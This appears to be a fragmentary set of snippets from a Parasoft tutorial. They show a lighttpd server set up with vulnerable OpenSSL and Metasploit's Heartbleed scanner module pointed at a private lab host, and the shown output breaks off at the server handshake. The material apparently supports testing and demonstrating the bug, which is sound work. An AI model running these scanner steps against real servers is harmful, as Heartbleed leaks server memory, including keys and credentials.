ParasoftExamples

server.modules = (
    "mod_openssl",
    "mod_access",
    "mod_accesslog",
)
server.port = 8080
server.username = "USER"
server.groupname = "GROUP"
server.document-root = "/home/USER/heartbleed/srv"
server.errorlog      = "/home/USER/heartbleed/lighttpd_error.log"

ParasoftExamples

#!/usr/bin/env bash
LD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ \
/home/USER/heartbleed/env/sbin/lighttpd \
    -D \
    -f /home/USER/hearbleed/lighttpd.conf

ParasoftExamples

$ pwd /home/USER/heartbleed
$ chmod +x run_lighttpd.sh
$ ./run_lighttpd.sh

ParasoftExamples

Matching Modules
================
 Name                                         Disclosure Date Rank    Description
 ----                                              ---------- -----   ------------
 auxiliary/scanner/ssl/openssl_heartbleed          2014-04-07 normal  OpenSSL Heartbeat
 auxiliary/server/openssl_heartbeat_client_memory  2014-04-07 normal  OpenSSL Heartbeat

ParasoftExamples

msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true
verbose => true
msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 192.168.56.102
rhosts => 192.168.56.102
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 4443
RPORT => 4443

ParasoftExamples

Global
======

No entries in data store.

Module: scanner/ssl/openssl_heartbleed
======================================
  Name                 Value
  ----                 -----
  CHOST

ParasoftExamples

[*] 192.168.56.102:4443   - Sending Client Hello... 
[*] 192.168.56.102:4443   - SSL record #1:
[*] 192.168.56.102:4443   -    Type:   22
[*] 192.168.56.102:4443   -    Version: 0x0301 
[*] 192.168.56.102:4443   -    Length:  86
[*] 192.168.56.102:4443   -    Handshake #1:
[*] 192.168.56.102:4443   -           Length: 82
[*] 192.168.56.102:4443   -           Type:   Server Hello (2)
[*] 192.168.56.102:4443   -           Server Hello Version:         0x0301
[*] 192.168.56.102:4443   -           Server Hello random data:      f6150b7136c5047cc899660b